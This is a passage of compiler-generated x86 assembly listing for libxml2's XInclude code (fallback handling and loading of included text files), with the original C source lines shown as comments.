; 2166 : xmlFree(URI);
mov esi, esp
mov ecx, DWORD PTR _URI$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN33@xmlXInclud:
; 2167 : if (parse != NULL)
cmp DWORD PTR _parse$[ebp], 0
je SHORT $LN34@xmlXInclud
; 2168 : xmlFree(parse);
mov esi, esp
mov edx, DWORD PTR _parse$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN34@xmlXInclud:
; 2169 : if (href != NULL)
cmp DWORD PTR _href$[ebp], 0
je SHORT $LN35@xmlXInclud
; 2170 : xmlFree(href);
mov esi, esp
mov eax, DWORD PTR _href$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN35@xmlXInclud:
; 2171 : if (base != NULL)
cmp DWORD PTR _base$[ebp], 0
je SHORT $LN36@xmlXInclud
; 2172 : xmlFree(base);
mov esi, esp
mov ecx, DWORD PTR _base$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN36@xmlXInclud:
; 2173 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 2174 : }
pop edi
pop esi
add esp, 44 ; 0000002cH
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeLoadNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludePreProcessNode
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_node$ = 12 ; size = 4
_xmlXIncludePreProcessNode PROC ; COMDAT
; 2014 : xmlXIncludePreProcessNode(xmlXIncludeCtxtPtr ctxt, xmlNodePtr node) {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2015 : xmlXIncludeAddNode(ctxt, node);
mov eax, DWORD PTR _node$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeAddNode
add esp, 8
; 2016 : return(NULL);
xor eax, eax
; 2017 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludePreProcessNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeLoadFallback
_TEXT SEGMENT
_ret$ = -8 ; size = 4
_newctxt$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_fallback$ = 12 ; size = 4
_nr$ = 16 ; size = 4
_xmlXIncludeLoadFallback PROC ; COMDAT
; 1963 : xmlXIncludeLoadFallback(xmlXIncludeCtxtPtr ctxt, xmlNodePtr fallback, int nr) {
push ebp
mov ebp, esp
sub esp, 8
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 1964 : xmlXIncludeCtxtPtr newctxt;
; 1965 : int ret = 0;
mov DWORD PTR _ret$[ebp], 0
; 1966 :
; 1967 : if ((fallback == NULL) || (fallback->type == XML_NAMESPACE_DECL) ||
cmp DWORD PTR _fallback$[ebp], 0
je SHORT $LN3@xmlXInclud
mov eax, DWORD PTR _fallback$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
je SHORT $LN3@xmlXInclud
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 1968 : (ctxt == NULL))
; 1969 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 1970 : if (fallback->children != NULL) {
mov ecx, DWORD PTR _fallback$[ebp]
cmp DWORD PTR [ecx+12], 0
je $LN4@xmlXInclud
; 1971 : /*
; 1972 : * It's possible that the fallback also has 'includes'
; 1973 : * (Bug 129969), so we re-process the fallback just in case
; 1974 : */
; 1975 : newctxt = xmlXIncludeNewContext(ctxt->doc);
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
call _xmlXIncludeNewContext
add esp, 4
mov DWORD PTR _newctxt$[ebp], eax
; 1976 : if (newctxt == NULL)
cmp DWORD PTR _newctxt$[ebp], 0
jne SHORT $LN6@xmlXInclud
; 1977 : return (-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN6@xmlXInclud:
; 1978 : newctxt->_private = ctxt->_private;
mov ecx, DWORD PTR _newctxt$[ebp]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+68]
mov DWORD PTR [ecx+68], eax
; 1979 : newctxt->base = xmlStrdup(ctxt->base); /* Inherit the base from the existing context */
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+64]
push edx
call _xmlStrdup
add esp, 4
mov ecx, DWORD PTR _newctxt$[ebp]
mov DWORD PTR [ecx+64], eax
; 1980 : xmlXIncludeSetFlags(newctxt, ctxt->parseFlags);
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+60]
push eax
mov ecx, DWORD PTR _newctxt$[ebp]
push ecx
call _xmlXIncludeSetFlags
add esp, 8
; 1981 : ret = xmlXIncludeDoProcess(newctxt, ctxt->doc, fallback->children);
mov edx, DWORD PTR _fallback$[ebp]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx]
push edx
mov eax, DWORD PTR _newctxt$[ebp]
push eax
call _xmlXIncludeDoProcess
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 1982 : if (ctxt->nbErrors > 0)
mov ecx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [ecx+52], 0
jle SHORT $LN7@xmlXInclud
; 1983 : ret = -1;
mov DWORD PTR _ret$[ebp], -1
jmp SHORT $LN8@xmlXInclud
$LN7@xmlXInclud:
; 1984 : else if (ret > 0)
cmp DWORD PTR _ret$[ebp], 0
jle SHORT $LN8@xmlXInclud
; 1985 : ret = 0; /* xmlXIncludeDoProcess can return +ve number */
mov DWORD PTR _ret$[ebp], 0
$LN8@xmlXInclud:
; 1986 : xmlXIncludeFreeContext(newctxt);
mov edx, DWORD PTR _newctxt$[ebp]
push edx
call _xmlXIncludeFreeContext
add esp, 4
; 1987 :
; 1988 : ctxt->incTab[nr]->inc = xmlDocCopyNodeList(ctxt->doc,
mov eax, DWORD PTR _fallback$[ebp]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
call _xmlDocCopyNodeList
add esp, 8
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [edx+ecx*4]
mov DWORD PTR [edx+16], eax
; 1989 : fallback->children);
; 1990 : } else {
jmp SHORT $LN5@xmlXInclud
$LN4@xmlXInclud:
; 1991 : ctxt->incTab[nr]->inc = NULL;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov DWORD PTR [eax+16], 0
; 1992 : ctxt->incTab[nr]->emptyFb = 1; /* flag empty callback */
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov DWORD PTR [ecx+32], 1
$LN5@xmlXInclud:
; 1993 : }
; 1994 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 1995 : }
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeLoadFallback ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeLoadTxt
_TEXT SEGMENT
tv246 = -76 ; size = 4
tv248 = -72 ; size = 4
tv247 = -68 ; size = 4
_l$1 = -60 ; size = 4
_cur$2 = -52 ; size = 4
_content$3 = -48 ; size = 4
_len$4 = -44 ; size = 4
_xinclude_multibyte_fallback_used$ = -40 ; size = 4
_inputStream$ = -36 ; size = 4
_pctxt$ = -32 ; size = 4
_enc$ = -28 ; size = 4
_encoding$ = -24 ; size = 4
_i$ = -20 ; size = 4
_URL$ = -16 ; size = 4
_uri$ = -12 ; size = 4
_node$ = -8 ; size = 4
_buf$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_url$ = 12 ; size = 4
_nr$ = 16 ; size = 4
_xmlXIncludeLoadTxt PROC ; COMDAT
; 1797 : xmlXIncludeLoadTxt(xmlXIncludeCtxtPtr ctxt, const xmlChar *url, int nr) {
push ebp
mov ebp, esp
sub esp, 76 ; 0000004cH
push esi
push edi
lea edi, DWORD PTR [ebp-76]
mov ecx, 19 ; 00000013H
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 1798 : xmlParserInputBufferPtr buf;
; 1799 : xmlNodePtr node;
; 1800 : xmlURIPtr uri;
; 1801 : xmlChar *URL;
; 1802 : int i;
; 1803 : xmlChar *encoding = NULL;
mov DWORD PTR _encoding$[ebp], 0
; 1804 : xmlCharEncoding enc = (xmlCharEncoding) 0;
mov DWORD PTR _enc$[ebp], 0
; 1805 : xmlParserCtxtPtr pctxt;
; 1806 : xmlParserInputPtr inputStream;
; 1807 : int xinclude_multibyte_fallback_used = 0;
mov DWORD PTR _xinclude_multibyte_fallback_used$[ebp], 0
; 1808 :
; 1809 : /*
; 1810 : * Check the URL and remove any fragment identifier
; 1811 : */
; 1812 : uri = xmlParseURI((const char *)url);
mov eax, DWORD PTR _url$[ebp]
push eax
call _xmlParseURI
add esp, 4
mov DWORD PTR _uri$[ebp], eax
; 1813 : if (uri == NULL) {
cmp DWORD PTR _uri$[ebp], 0
jne SHORT $LN10@xmlXInclud
; 1814 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref, XML_XINCLUDE_HREF_URI,
mov ecx, DWORD PTR _url$[ebp]
push ecx
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1815 : "invalid value URI %s\n", url);
; 1816 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN10@xmlXInclud:
; 1817 : }
; 1818 : if (uri->fragment != NULL) {
mov edx, DWORD PTR _uri$[ebp]
cmp DWORD PTR [edx+32], 0
je SHORT $LN11@xmlXInclud
; 1819 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref, XML_XINCLUDE_TEXT_FRAGMENT,
mov eax, DWORD PTR _uri$[ebp]
mov ecx, DWORD PTR [eax+32]
push ecx
push OFFSET ??_C@_0CM@EOJCKNLM@fragment?5identifier?5forbidden?5f@
push 1606 ; 00000646H
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1820 : "fragment identifier forbidden for text: %s\n",
; 1821 : (const xmlChar *) uri->fragment);
; 1822 : xmlFreeURI(uri);
mov edx, DWORD PTR _uri$[ebp]
push edx
call _xmlFreeURI
add esp, 4
; 1823 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN11@xmlXInclud:
; 1824 : }
; 1825 : URL = xmlSaveUri(uri);
mov eax, DWORD PTR _uri$[ebp]
push eax
call _xmlSaveUri
add esp, 4
mov DWORD PTR _URL$[ebp], eax
; 1826 : xmlFreeURI(uri);
mov ecx, DWORD PTR _uri$[ebp]
push ecx
call _xmlFreeURI
add esp, 4
; 1827 : if (URL == NULL) {
cmp DWORD PTR _URL$[ebp], 0
jne SHORT $LN12@xmlXInclud
; 1828 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref, XML_XINCLUDE_HREF_URI,
mov edx, DWORD PTR _url$[ebp]
push edx
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1829 : "invalid value URI %s\n", url);
; 1830 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN12@xmlXInclud:
; 1831 : }
; 1832 :
; 1833 : /*
; 1834 : * Handling of references to the local document are done
; 1835 : * directly through ctxt->doc.
; 1836 : */
; 1837 : if (URL[0] == 0) {
mov eax, 1
imul ecx, eax, 0
mov edx, DWORD PTR _URL$[ebp]
movzx eax, BYTE PTR [edx+ecx]
test eax, eax
jne SHORT $LN13@xmlXInclud
; 1838 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
push 0
push OFFSET ??_C@_0CO@JGKFOGCG@text?5serialization?5of?5document?5@
push 1607 ; 00000647H
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1839 : XML_XINCLUDE_TEXT_DOCUMENT,
; 1840 : "text serialization of document not available\n", NULL);
; 1841 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1842 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN13@xmlXInclud:
; 1843 : }
; 1844 :
; 1845 : /*
; 1846 : * Prevent reloading twice the document.
; 1847 : */
; 1848 : for (i = 0; i < ctxt->txtNr; i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@xmlXInclud
$LN2@xmlXInclud:
mov edx, DWORD PTR _i$[ebp]
add edx, 1
mov DWORD PTR _i$[ebp], edx
$LN4@xmlXInclud:
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR [eax+20]
jge SHORT $LN3@xmlXInclud
; 1849 : if (xmlStrEqual(URL, ctxt->txturlTab[i])) {
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+32]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
push edx
mov eax, DWORD PTR _URL$[ebp]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN14@xmlXInclud
; 1850 : node = xmlCopyNode(ctxt->txtTab[i], 1);
push 1
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+28]
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
push ecx
call _xmlCopyNode
add esp, 8
mov DWORD PTR _node$[ebp], eax
; 1851 : goto loaded;
jmp $loaded$39
$LN14@xmlXInclud:
; 1852 : }
; 1853 : }
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 1854 : /*
; 1855 : * Try to get the encoding if available
; 1856 : */
; 1857 : if ((ctxt->incTab[nr] != NULL) && (ctxt->incTab[nr]->ref != NULL)) {
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
cmp DWORD PTR [eax+ecx*4], 0
je SHORT $LN15@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
cmp DWORD PTR [edx+12], 0
je SHORT $LN15@xmlXInclud
; 1858 : encoding = xmlGetProp(ctxt->incTab[nr]->ref, XINCLUDE_PARSE_ENCODING);
push OFFSET ??_C@_08MLPGAEIK@encoding@
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
call _xmlGetProp
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
$LN15@xmlXInclud:
; 1859 : }
; 1860 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je $LN16@xmlXInclud
; 1861 : /*
; 1862 : * TODO: we should not have to remap to the xmlCharEncoding
; 1863 : * predefined set, a better interface than
; 1864 : * xmlParserInputBufferCreateFilename should allow any
; 1865 : * encoding supported by iconv
; 1866 : */
; 1867 : enc = xmlParseCharEncoding((const char *) encoding);
mov edx, DWORD PTR _encoding$[ebp]
push edx
call _xmlParseCharEncoding
add esp, 4
mov DWORD PTR _enc$[ebp], eax
; 1868 : if (enc == XML_CHAR_ENCODING_ERROR) {
cmp DWORD PTR _enc$[ebp], -1
jne SHORT $LN17@xmlXInclud
; 1869 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov eax, DWORD PTR _encoding$[ebp]
push eax
push OFFSET ??_C@_0BL@EIOJIGPP@encoding?5?$CFs?5not?5supported?6@
push 1610 ; 0000064aH
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1870 : XML_XINCLUDE_UNKNOWN_ENCODING,
; 1871 : "encoding %s not supported\n", encoding);
; 1872 : xmlFree(encoding);
mov esi, esp
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1873 : xmlFree(URL);
mov esi, esp
mov edx, DWORD PTR _URL$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1874 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN17@xmlXInclud:
; 1875 : }
; 1876 : xmlFree(encoding);
mov esi, esp
mov eax, DWORD PTR _encoding$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN16@xmlXInclud:
; 1877 : }
; 1878 :
; 1879 : /*
; 1880 : * Load it.
; 1881 : */
; 1882 : pctxt = xmlNewParserCtxt();
call _xmlNewParserCtxt
mov DWORD PTR _pctxt$[ebp], eax
; 1883 : inputStream = xmlLoadExternalEntity((const char*)URL, NULL, pctxt);
mov ecx, DWORD PTR _pctxt$[ebp]
push ecx
push 0
mov edx, DWORD PTR _URL$[ebp]
push edx
call _xmlLoadExternalEntity
add esp, 12 ; 0000000cH
mov DWORD PTR _inputStream$[ebp], eax
; 1884 : if(inputStream == NULL) {
cmp DWORD PTR _inputStream$[ebp], 0
jne SHORT $LN18@xmlXInclud
; 1885 : xmlFreeParserCtxt(pctxt);
mov eax, DWORD PTR _pctxt$[ebp]
push eax
call _xmlFreeParserCtxt
add esp, 4
; 1886 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1887 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN18@xmlXInclud:
; 1888 : }
; 1889 : buf = inputStream->buf;
mov edx, DWORD PTR _inputStream$[ebp]
mov eax, DWORD PTR [edx]
mov DWORD PTR _buf$[ebp], eax
; 1890 : if (buf == NULL) {
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN19@xmlXInclud
; 1891 : xmlFreeInputStream (inputStream);
mov ecx, DWORD PTR _inputStream$[ebp]
push ecx
call _xmlFreeInputStream
add esp, 4
; 1892 : xmlFreeParserCtxt(pctxt);
mov edx, DWORD PTR _pctxt$[ebp]
push edx
call _xmlFreeParserCtxt
add esp, 4
; 1893 : xmlFree(URL);
mov esi, esp
mov eax, DWORD PTR _URL$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1894 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN19@xmlXInclud:
; 1895 : }
; 1896 : if (buf->encoder)
mov ecx, DWORD PTR _buf$[ebp]
cmp DWORD PTR [ecx+12], 0
je SHORT $LN20@xmlXInclud
; 1897 : xmlCharEncCloseFunc(buf->encoder);
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+12]
push eax
call _xmlCharEncCloseFunc
add esp, 4
$LN20@xmlXInclud:
; 1898 : buf->encoder = xmlGetCharEncodingHandler(enc);
mov ecx, DWORD PTR _enc$[ebp]
push ecx
call _xmlGetCharEncodingHandler
add esp, 4
mov edx, DWORD PTR _buf$[ebp]
mov DWORD PTR [edx+12], eax
; 1899 : node = xmlNewText(NULL);
push 0
call _xmlNewText
add esp, 4
mov DWORD PTR _node$[ebp], eax
$xinclude_multibyte_fallback$40:
; 1900 :
; 1901 : /*
; 1902 : * Scan all chars from the resource and add the to the node
; 1903 : */
; 1904 : xinclude_multibyte_fallback:
; 1905 : while (xmlParserInputBufferRead(buf, 128) > 0) {
push 128 ; 00000080H
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlParserInputBufferRead
add esp, 8
test eax, eax
jle $LN6@xmlXInclud
; 1906 : int len;
; 1907 : const xmlChar *content;
; 1908 :
; 1909 : content = xmlBufContent(buf->buffer);
mov ecx, DWORD PTR _buf$[ebp]
mov edx, DWORD PTR [ecx+16]
push edx
call _xmlBufContent
add esp, 4
mov DWORD PTR _content$3[ebp], eax
; 1910 : len = xmlBufLength(buf->buffer);
mov eax, DWORD PTR _buf$[ebp]
mov ecx, DWORD PTR [eax+16]
push ecx
call _xmlBufLength
add esp, 4
mov DWORD PTR _len$4[ebp], eax
; 1911 : for (i = 0;i < len;) {
mov DWORD PTR _i$[ebp], 0
$LN9@xmlXInclud:
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR _len$4[ebp]
jge $LN8@xmlXInclud
; 1912 : int cur;
; 1913 : int l;
; 1914 :
; 1915 : cur = xmlStringCurrentChar(NULL, &content[i], &l);
lea eax, DWORD PTR _l$1[ebp]
push eax
mov ecx, DWORD PTR _content$3[ebp]
add ecx, DWORD PTR _i$[ebp]
push ecx
push 0
call _xmlStringCurrentChar
add esp, 12 ; 0000000cH
mov DWORD PTR _cur$2[ebp], eax
; 1916 : if (!IS_CHAR(cur)) {
cmp DWORD PTR _cur$2[ebp], 256 ; 00000100H
jge SHORT $LN34@xmlXInclud
cmp DWORD PTR _cur$2[ebp], 9
jl SHORT $LN26@xmlXInclud
cmp DWORD PTR _cur$2[ebp], 10 ; 0000000aH
jle SHORT $LN27@xmlXInclud
$LN26@xmlXInclud:
cmp DWORD PTR _cur$2[ebp], 13 ; 0000000dH
je SHORT $LN27@xmlXInclud
cmp DWORD PTR _cur$2[ebp], 32 ; 00000020H
jge SHORT $LN27@xmlXInclud
mov DWORD PTR tv247[ebp], 0
jmp SHORT $LN33@xmlXInclud
$LN27@xmlXInclud:
mov DWORD PTR tv247[ebp], 1
$LN33@xmlXInclud:
mov edx, DWORD PTR tv247[ebp]
mov DWORD PTR tv248[ebp], edx
jmp SHORT $LN35@xmlXInclud
$LN34@xmlXInclud:
cmp DWORD PTR _cur$2[ebp], 256 ; 00000100H
jl SHORT $LN28@xmlXInclud
cmp DWORD PTR _cur$2[ebp], 55295 ; 0000d7ffH
jle SHORT $LN30@xmlXInclud
$LN28@xmlXInclud:
cmp DWORD PTR _cur$2[ebp], 57344 ; 0000e000H
jl SHORT $LN29@xmlXInclud
cmp DWORD PTR _cur$2[ebp], 65533 ; 0000fffdH
jle SHORT $LN30@xmlXInclud
$LN29@xmlXInclud:
cmp DWORD PTR _cur$2[ebp], 65536 ; 00010000H
jl SHORT $LN31@xmlXInclud
cmp DWORD PTR _cur$2[ebp], 1114111 ; 0010ffffH
jle SHORT $LN30@xmlXInclud
$LN31@xmlXInclud:
mov DWORD PTR tv246[ebp], 0
jmp SHORT $LN32@xmlXInclud
$LN30@xmlXInclud:
mov DWORD PTR tv246[ebp], 1
$LN32@xmlXInclud:
mov eax, DWORD PTR tv246[ebp]
mov DWORD PTR tv248[ebp], eax
$LN35@xmlXInclud:
cmp DWORD PTR tv248[ebp], 0
jne $LN21@xmlXInclud
; 1917 : /* Handle splitted multibyte char at buffer boundary */
; 1918 : if (((len - i) < 4) && (!xinclude_multibyte_fallback_used)) {
mov ecx, DWORD PTR _len$4[ebp]
sub ecx, DWORD PTR _i$[ebp]
cmp ecx, 4
jge SHORT $LN23@xmlXInclud
cmp DWORD PTR _xinclude_multibyte_fallback_used$[ebp], 0
jne SHORT $LN23@xmlXInclud
; 1919 : xinclude_multibyte_fallback_used = 1;
mov DWORD PTR _xinclude_multibyte_fallback_used$[ebp], 1
; 1920 : xmlBufShrink(buf->buffer, i);
mov edx, DWORD PTR _i$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
mov ecx, DWORD PTR [eax+16]
push ecx
call _xmlBufShrink
add esp, 8
; 1921 : goto xinclude_multibyte_fallback;
jmp $xinclude_multibyte_fallback$40
; 1922 : } else {
jmp SHORT $LN24@xmlXInclud
$LN23@xmlXInclud:
; 1923 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov edx, DWORD PTR _URL$[ebp]
push edx
push OFFSET ??_C@_0BK@JOLCHMFH@?$CFs?5contains?5invalid?5char?6@
push 1608 ; 00000648H
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1924 : XML_XINCLUDE_INVALID_CHAR,
; 1925 : "%s contains invalid char\n", URL);
; 1926 : xmlFreeParserInputBuffer(buf);
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlFreeParserInputBuffer
add esp, 4
; 1927 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1928 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN24@xmlXInclud:
; 1929 : }
; 1930 : } else {
jmp SHORT $LN22@xmlXInclud
$LN21@xmlXInclud:
; 1931 : xinclude_multibyte_fallback_used = 0;
mov DWORD PTR _xinclude_multibyte_fallback_used$[ebp], 0
; 1932 : xmlNodeAddContentLen(node, &content[i], l);
mov edx, DWORD PTR _l$1[ebp]
push edx
mov eax, DWORD PTR _content$3[ebp]
add eax, DWORD PTR _i$[ebp]
push eax
mov ecx, DWORD PTR _node$[ebp]
push ecx
call _xmlNodeAddContentLen
add esp, 12 ; 0000000cH
$LN22@xmlXInclud:
; 1933 : }
; 1934 : i += l;
mov edx, DWORD PTR _i$[ebp]
add edx, DWORD PTR _l$1[ebp]
mov DWORD PTR _i$[ebp], edx
; 1935 : }
jmp $LN9@xmlXInclud
$LN8@xmlXInclud:
; 1936 : xmlBufShrink(buf->buffer, len);
mov eax, DWORD PTR _len$4[ebp]
push eax
mov ecx, DWORD PTR _buf$[ebp]
mov edx, DWORD PTR [ecx+16]
push edx
call _xmlBufShrink
add esp, 8
; 1937 : }
jmp $xinclude_multibyte_fallback$40
$LN6@xmlXInclud:
; 1938 : xmlFreeParserCtxt(pctxt);
mov eax, DWORD PTR _pctxt$[ebp]
push eax
call _xmlFreeParserCtxt
add esp, 4
; 1939 : xmlXIncludeAddTxt(ctxt, node, URL);
mov ecx, DWORD PTR _URL$[ebp]
push ecx
mov edx, DWORD PTR _node$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeAddTxt
add esp, 12 ; 0000000cH
; 1940 : xmlFreeInputStream(inputStream);
mov ecx, DWORD PTR _inputStream$[ebp]
push ecx
call _xmlFreeInputStream
add esp, 4
$loaded$39:
; 1941 :
; 1942 : loaded:
; 1943 : /*
; 1944 : * Add the element as the replacement copy.
; 1945 : */
; 1946 : ctxt->incTab[nr]->inc = node;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR _node$[ebp]
mov DWORD PTR [edx+16], eax
